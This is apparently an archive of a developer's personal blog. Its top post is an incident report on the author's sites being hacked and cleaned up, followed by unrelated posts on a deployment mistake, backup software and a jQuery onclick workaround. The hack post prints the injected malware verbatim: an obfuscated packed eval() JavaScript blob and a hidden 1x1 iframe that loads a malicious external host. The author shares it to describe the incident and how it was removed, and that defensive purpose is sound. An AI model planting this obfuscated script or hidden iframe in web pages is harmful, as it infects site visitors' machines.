Chomper Stomping jQuery/JavaScript/CSS 3/HTML 5, Java/PHP/Python/ActionScript, Git, Chrome/Firefox Extensions, Wordpress/Game/iPhone App Development and other random techie tidbits I've collected

29Nov/112

OH SHNIKES, WE’VE BEEN HAXORED!!!

warning

Yes. It finally happened. After... 6 years? on the web I finally got hacked.

Two domains affected:

http://cmcculloh.com

http://hallelujahbutton.com

(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).

This morning I went to my site and was told by Chrome that I wasn't allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that's how it felt).

Here's the screen I saw:

THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised.

It took me quite a while to figure out what the culprit was (and I'm still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))</script>
<iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"></iframe>

(I added a line break for legibility)

EEEEEWWWW!!!!!! I got pwned!!!

Not 100% sure if it is the iframe *and* the script, or just the iframe.

How did I fix it?

ssh'ed into the site and ran this command "grep -ir function\(p,a,c,k,e,d\) *". Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on "function(p,a,c,k,e,d)" again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.

So, how did this happen? Who knows. I definitely wasn't the only one. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don't know anything about security, and a good 20 of them probably use "password1" as their password. If any of those people got hacked, it's just a small step once you're on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don't know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It's not hard. USE A GOOD PASSWORD and DON'T REUSE IT ACROSS SITES).

So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON'T click the "proceed anyway" link. Because I'm just a guy and I could still be infected and not know it. Always just click the "go back" button. Once Google has OK'd it, the site will become available (as hallelujahbutton.com now has).

THANK YOU GOOGLE!!! YOU'RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.

Also, I've deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!

28May/110

Updates – Tab Edit 1.4, Abandoning JS Console, Limeberry news

tabedit

It's apparently Code Blitz week here at Chomperstomp.com HQ. We've seen 5 blog posts in the last week, and code commits to no less than 4 open source projects (plus tons behind the scenes that I won't talk about just yet, but some neat stuff is coming...)

I finally fixed the Tab Edit Chrome Extension. Update and click "Restore Defaults" and it will work again. Still working on the problem of it not persisting the favicon selection though.

I have officially abandoned work on the JS Console Chrome Extension. It's absolutely pointless. Just hold shift when you hit enter while using the native JS Console and you can get multi-line functionality. That was the whole point of JS Console, so once I discovered this, I abandoned the project. I forgot to ever let anyone know though, so this is me making it official. I've made notes in all other relevant places as well.

Limeberry is coming along just swell. I've made some major improvements today. Gradient history swatches that when you hover over you can retrieve previous gradient code. Ditched all the PHP based code in favor of JS. Gave ability to change the number of gradient stops on the fly without a page reload (still doesn't preserve your previous stops/colors). LOTS more work to come on this. The more observant of you may notice that I'm updating the URL on the fly as you make changes. Yes, that's right, very very soon you will be able to bookmark swatches you create (or email/IM links) so you can save/load swatches. This is the project I'm most excited about right now, so this will be getting some love over the next few weeks. I'm hoping to turn this into a really nifty tool and even plop down the $10 I need to get it it's own domain. I've possibly even got another dev on board to design the page (rather than it just being ugly as hell the way it is now). Much much more to come...

12Feb/101

My own little dailyWTF

Note: WTF can stand for "Worse Than Failure"...

Yesterday I was re-living my saga on thedailywtf.com. I'm Jared L.

Part 1
Part 2
Part 3

Well, immediately after reading all of that I went and made a big 'ole wtf all on my own. Read on...

Every Wednesday and Friday finishline.com gets updated with new promotional material. Most notable of all of these is the "A1 rotator". This is the flash rotator prominently displayed on the homepage of the website. Each Tuesday and Thursday Sean in marketing will send me (up to) four new .swf files and one .xml file to drop in to the root directory of the site and the A1 rotator will magically update with these new files. I've been doing this bi-weekly for a year and a half and have never personally screwed it up. It's not hard. I copy the files from one directory into another and zip them up and send them over to the build and release manager, Brandon, who sends them over to Verizon who pushes them out to 71 different instances of our website. It functions like clockwork. Until it doesn't. This is a story about a massive multi-layered failure of the A1 rotator and it's 100% my fault.

Thursday afternoon at around 4:30 I received the files from marketing and copied them over into the required directory on my local box. As always, I manually uploaded the files to the QA server (a mirror of production) so marketing could test them. I zipped up the files and e-mailed them Brandon. I didn't bother to go out to our QA server and test them myself because, "hey, I've been doing this a year and a half and have never screwed this step up and I'm really busy and what could possibly be wrong? I just copied some files over, what could I have screwed up?" Oh the fallacy...

At this point, the piece of dung sorry excuse for an e-mail client "Outlook" crashed. I had already sent off the files so I didn't notice.

An hour later when I'm preparing to go home for the day I go to send and e-mail and see that once again Outlook has crashed. I pop it back open and find that I have an e-mail waiting for me from marketing. Five minutes after I sent the zipped files over to Brandon, marketing e-mailed me to let me know that something was wrong with the A1 spot on the QA server. Crap.

I open up Firefox and hit the QA server only to find myself staring at a big empty white space where the A1 rotator should be. WHAT???

Ok, maybe the xml file is pointing at a non-existant swf file and the whole thing is bombing out... What are the names of the files? Oh, there's a complicated one, "a1_jordan_02102010.swf" maybe the xml has that name screwed up. Let's simplify things. I rename the file "a1_jordan.swf" and edit the XML "a1_jordan.swf". Upload. Check. NOPE!

OK, marketing has obviously screwed this all up. Everyone from marketing has gone home at this point so I send an e-mail off requesting corrected files from marketing and prepare to call it a day. But I can't just leave it at that because that would be irresponsible.

I quickly scan the root directory looking to make sure all the swf files are there. Yes. Is the XML file there? Yes. Ok, so banner_rotator.swf should be pulling them in but it's crash... OOOOH NOOOOOO (said in a Tim "the Tool Man" Taylor voice). Suddenly I'm flashing back to the previous Thursday when I'm performing this exact same task. I recall that at that time I was feeling a little "cleany" and I decided that I should go through and remove all the old swf files from promos-gone-by. Sean happened to walk into my cube at exactly that moment and together we review the fifty or so swf files that don't need to be there anymore. Clicking them one by one was going to take too long, so I selected ALL of the swf files and then we went through and de-selected the four required for the next day's A1 rotator. Once I was sure I wasn't going to delete the rotator files, I went ahead and deleted the rest of the swf files. Including the banner_rotator.swf master file that pulls in the xml and the four content swfs. SHOOT!

So I recover the banner_rotator.swf, add it to the root, and send it all back over to Brandon. I follow up with an e-mail absolving marketing and I call it a day. Everything's fine and I even let my boss know what happened assuring him that everything is taken care of. Little do I know...

The next morning as I'm preparing to leave for work I happen to check my work e-mail. The A1 rotator is missing from the site. Apparently the promo push still hasn't run, and the CDN we use has dropped the banner_rotator.swf file since it no longer exists in our build (because I deleted it last Thursday so it was dropped out of the following Thursday's production deploy, which was yesterday). Great. The promo push is about to start though and then everything will be ok. I call a few people and send some e-mails to let everyone know what's going on and leave for work.

When I get into the office I pull up the website and check only to discover that the first spot in the rotation is completely blank. I have several e-mails informing me of this as well. Flash back time... Remember when I renamed the jordan file as part of my debug process? Yeah, me too. Apparently I never put the name back correct but the xml did get switched back. So now I really am missing a swf. I guess the only thing that happens if a swf is missing is that the spot for it in the rotation is just blank. Good thing the only spot that's blank is the very first spot, which is only seen by 100% of our visitors and only clicked on more than anything else in the entire site!

I call Brandon and sheepishly request that he manually go through all 71 instances of our site and rename the file in every one so that we don't have to do an emergency push and incur a fine. Which he does and the whole thing is fixed.

At this point I get up and start looking for my coffee mug. It's missing. I finally stumble across it right next to the coffee machine. Curiously it has a little pile of cream and sugar in it all ready for a cup of jo. It is then that I realize what the root of the whole problem was. I never had my coffee the day before. Why? Because someone took the last of the coffee and didn't start a new pot brewing; when I went to get my coffee the pot was empty. I had started a new pot brewing, got my mug ready, walked away and never came back; resulting in me doing the entire promo push without any caffeine in me. Apparently I just suck without caffeine. And that boys and girls is why you should always start a new pot if you drink the last of the current one. That is also my lame attempt to shift the blame away from myself, lol. No, this was 100% my fault...

6Feb/100

Microsoft Advertisement FAIL

This is just... creepy...

I'm not 100% sure why and I had to watch it a few times before I even realized it was creeping me out... But once I figured out why it was distracting/disturbing me, I realized it was just subtly creepy. It's probably the dark colors the guy is wearing in juxtaposition with the all white background. He looks shady. He doesn't look confident. He looks like he is sneaking. When he walks over to the camera he has to bend down to summon you (It would feel less creepy if you were always at eye level). It feels like you are a kid and some stranger is walking by and bending down into your face and saying, "come on kid, come look what I've got". He's got his hand in his pocket... why? That's creepy. This whole thing feels like a drug dealer trying to get me to come smoke pot/crack/whatever with him. It's just... creepy. Yuck.

Sorry Microsoft... but... FAIL.

Here's the whole ad (I was able to extract it from this page)

5Feb/101

One Click Backup w/ Sabrent & Hitachi – FAIL

I can't get a full drive backup. I've tried multiple settings.

First I tried to backup all files:

It kept failing, presumably because I was using the computer during the backup. So, i finally just backed up only the 50+ GB of images (which was my major focus) successfully, WIN! Then I went back to the task of backing up the entire C: drive. I noticed that you could just do "Newer", which I decided would allow my backup to continue from where it failed.

So, next I tried:

Still didn't work, but at least it didn't re-backup files already backed up. After deleting several files that were causing it to fail (had to go to the command line for these, because windows could not delete/recognize/open them) I again tried the backup. This time it failed on UsrClass.dat (see the actual error below):

Create date/time : 2/5/2010--8:06:21 AM
Error Report of Backup from [C:] to [Z:\Backup_Drive_C]

C:\Documents and Settings\Christopher\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
The process cannot access the file because it is being used by another process.

I thought, hrm... Maybe I'll just run it again. Nope. Still failed. Ran again, still failed. Ok, so I'm going to have to actually do something about the file.

I *almost* tried switching to another product, again, but then I realized this would be my fourth product switch and maybe I should at least give Sabrent tech support a try. So I submitted the following help request through their website:

1. Purchased Sabrent SATA 3.5"/2.5" Hard Drive to USB 2.0 Docking Station.
2. Installed one click backup software
3. Placed newly formatted/partitioned empty drive in dock
4. Began backup of C: drive to drive in dock (Z:)

Expected Result:
Full Backup of C: Drive to Z: drive

Actual Result:
Failed after ~20,000 files with the following error:
Create date/time : 2/5/2010--8:06:21 AM
Error Report of Backup from [C:] to [Z:\Backup_Drive_C]

C:\Documents and Settings\Christopher\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
The process cannot access the file because it is being used by another process.

http://screencast.com/t/N2E3YjdkYz

We'll see how they respond. If I can't get this to work, the next thing I'm going to try is some sort of Open Source drive duplication or backup solution that will let me copy from one drive to another. If that still doesn't work, I'll start looking at commercial, local backup options.

4Feb/106

Downgrading my Mozy account and getting a refund

Let's go on a little journey.

Back in August I heard an advertisement from Carbonite online backup. I thought, you know? What the heck, I've been thinking/worrying about this for two years. I'll give it a try. So I did. Unfortunately, I was in the Firefox web browser. For some reason, you can't successfully download and install Carbonite through Firefox, EVEN THOUGH they have a Firefox specific download page. After 3 days of messing with this, uninstalling, reinstalling, restarting, online chatting (their online chat helper person sucks btw), they FINALLY thought to ask what browser I was in and then informing me it doesn't work with Firefox. CARBONITE FAIL.

So, I went to their direct competitor, Mozy. I signed up for the free 2GB trial account. My backups completed just fine every day for four months. SOLD!

I sign up for the unlimited account. Just the monthly version at this time because I'm a skeptic and don't want to hand them $100 before I even see it work fully once.

After two months of not being able to do a full back up (I actually was able to get 71GB of my total 250GB backed up before it failed one time) I'm ready to cancel. I've already been told by the Mozy support tech I've been bouncing e-mails off of for two weeks that I'll be refunded both payments that I've already been charged.

As I said, I've been bouncing e-mails off of Mozy and they are trying to figure out what is wrong. I've e-mailed them log files, etc, and the last thing they said was there is a conflict with my Symantec (a bunch of errors in their logs). I don't have Symantec installed anymore (I think I uninstalled a month ago) so I was going to uninstall and re-install Mozy, but after I uninstalled I felt I'd rather just opt out of the reinstallation and go with another option.

I went through the online chat to see how that refund they promised me 10 days ago was coming. Then I requested to be downgraded back to the free account (I don't want to delete my account until they refund my money). Here's how that went:

(full chat log):

Please wait for a site operator to respond.
You are now chatting with 'Mubarak'
Mubarak: Welcome to Mozy Live Support. May I have your account email address please?
Christopher McCulloh: REDACTED
Mubarak: Thank you. How are you doing?
Christopher McCulloh: ok, you?
Mubarak: I am doing good. Thank you for asking.
Mubarak: How may I assist you?
Christopher McCulloh: As you may be able to see from my case history, I was supposed to receive a refund for all charges due to the fact that I have not yet been able to complete a backup
Mubarak: Do you have any case ID for the same?
Christopher McCulloh: REDACTED
Mubarak: Thank you, let me check.
Mubarak: I see that this ticket is under research team.
Mubarak: I am checking your account on the Mozy server.
Mubarak: Thank you Christopher, The actual ticket for the refund is REDACTED
Mubarak: I have checked the status and the billing team is working on it to get you the refund.
Mubarak: I will add a note to them about this.
Christopher McCulloh: Ok, how long will that take?
Mubarak: I will update them to make it as quick as possible.
Mubarak: I cannot promise you the exact time.
Christopher McCulloh: ok. Thank you.
Mubarak: Welcome Christopher.
Mubarak: Is there anything else I might help you with today?
Christopher McCulloh: Yes, how do I downgrade back to the free 2GB account?
Mubarak: For that you will have to cancel the existing account completely, or sign up for the free account with a different email address.
Christopher McCulloh: hrm... ok. I'm not ready to do that without having received a refund. Any way to put my account on hold so I'm not charged again?
Mubarak: I will update this request as well to the billing team.
Mubarak: They will contact you via email.
Christopher McCulloh: ok, thanks
Mubarak: Welcome Christopher.
Mubarak: Thank you for contacting Mozy technical support. You have a wonderful day.
Mubarak: Bye.
Christopher McCulloh: you as well.

So, double FAIL, but we'll see how it turns out in the end. Mozy has been more than fair/friendly so far and I will definitely keep them in mind for future backup needs. Let's hope they don't ruin that for themselves by screwing me here at the end...

27Jan/103

Removing and re-using hard-coded onclick JavaScript methods with jQuery

Let's say you've been tasked with the ominous task of taking a currently "working" checkout process written in a hodge-podge of Prototype, jQuery and plain jane JavaScript and adding click methods to all input and a elements. Now, let's also say you can't modify the current HTML/JavaScript at all (mostly because it's all working and you don't want to break it and it's already indecipherable code). Now, let's also say that the click method you are attaching needs to be hands down, no matter what, the FIRST method that executes when you click on the element.

Sure you can make your JavaScript the first JavaScript that gets run on the page (so that the dynamic bindings run first, and therefor (hopefully) execute first). But what about the HARD CODED html click methods? This little code snippet will go through and dynamically remove (and "cache" (save for later)) all of the hard-coded onclick functions, and then bind your live functions to do your new critical must trigger first event, and then call the original onclick method on the element.

Yes, this code is scary. Yes, I cried a little after I wrote it while curled up in a ball under my desk. Yes, I plan to submit it to thedailywtf.com. But sometimes you just have to do what you have to do. If you're in a similar situation, this might just help you out a little. Prepare to throw up in your mouth, hold on to your hats, and dive in:

To understand this a little more, you might like to throw a whole bunch of console.log() statements in there to see the state of each variable at each step along the way. It's actually kind of fascinating that this code even works.

The toString() on the onClick on the attr call actually returns:
"function onclick(e){doThing();}"

This is scary/cool/weird since the attribute it's pulling is just
<input type="checkbox" onclick="doThing()" />

So I go through with the regex and strip off the " onclick" leaving just an anonymous function: "function(e){doThing();}"

I then assign the anonymous function to the variable "clickMethod" thus creating a brand new function on the page called clickMethod, which can be triggered or called anywhere I want and even passed an event object!!!

*BARF* XP

Someone please tell me there's a better way... If so, why not hook me up on FIXEE???

9Feb/080

Technorati

This is a test. Yes, I know, it looks like a brag blog, but it's a test. In fact, don't even read this post.

I signed up for google alerts on the words "chomperstomp", "status bar calculator" and "christopher mcculloh" just out of curiosity. I'm trying to figure out how it works, so I specifically put those phrases in here to see if Google lets me know that someone (me) posted about those phrases.

So far I've been surprised by what I found:

1. The Status Bar Calculator has been downloaded at least 30,000 times (wha??? Crap. I had really, really better get working on v2.0...)

2. I'm in Technorati for my math posts on the ball rolling game (which have actually been my most successful posts to date in terms of reader interest, again, what???)

So, the entire point of this post (other than to test my Google alerts) is that I have to put this tag in my blog in order to claim it as my own:

Technorati Profile

Done.

7Feb/080

New Blog Location!

Welcome to the new home of my blog! This is the official permanent location, so if you're so inclined, feel free to subscribe! Thanks!

I plan on actually having some new content up real soon. It's been a crazy month, culminating in this huge (for me) consolidation of all of my online sites (achaius.com, chomperstomp.com, statusbarcalculator.com and soon, the return of my cmcculloh website. More on that soon...).

6Feb/082

Dreamhost

For the past four months I've been hosting this site on an IUPUI server. That was supposed to be temporary. As in, I'll just throw it up there for a week or so. Well, a week turned into weeks into a month into months until finally I bit the bullet and got a Dreamhost account.

I compared all of the major hosting services out there (that I knew of):

doteasy.com

webhost4life.com

dreamhost.com

Dreamhost was by far the best of the three.

Highlights: 500GB disk space, 5TB/mo bandwidth allowance, one click installs (wordpress/phpbb/mediawiki/etc), subversion, unlimited fully hosted domains/subdomains at no extra charge, unlimited MySQL accounts. All this and more starting at a mere $6/mo. Wha??? yep.

So, what does this mean?

1. My website is now hosted entirely at chomperstomp.com. No more of that crazy corsair.cs.iupu.edu:18041/chomperStomp/ crap.

2. The looooong awaited launch of http://www.statusbarcalculator.com as well as active development on v2.0 of my little Firefox extension in preparation of the release of FF3.0.

3. A forums (coming soon) where people can come to ask me questions on flash app development that I can't answer.

4. My Google Gadget will start working again (anyone who wants to, please leave a comment at that link with your thoughts on the gadget. Someone tore it up and it'd be nice to get one or two comments at least saying it's not horrible).

5. New games coming in the near future (FINALLY).

6. More programming related, tutorial style, blog posts. Starting with a slew of "how I created my FF extension" posts, followed by "how I'm upgrading my FF extension", topped off with a journal of my progress on either finishing one of my many un-finished game, or a whole new game entirely.

7. Updating the website in the very near future (also a big FINALLY).

If you are interested in helping out with any of my projects, just drop a comment here, or shoot me an e-mail. I use gMail, and my username is cmcculloh (you'll figure the address out).

Also, if you are considering signing up for a dreamhost account, please do it through this link so I can get monies (the info on the picture is wrong though, their features have gotten better since they made this link):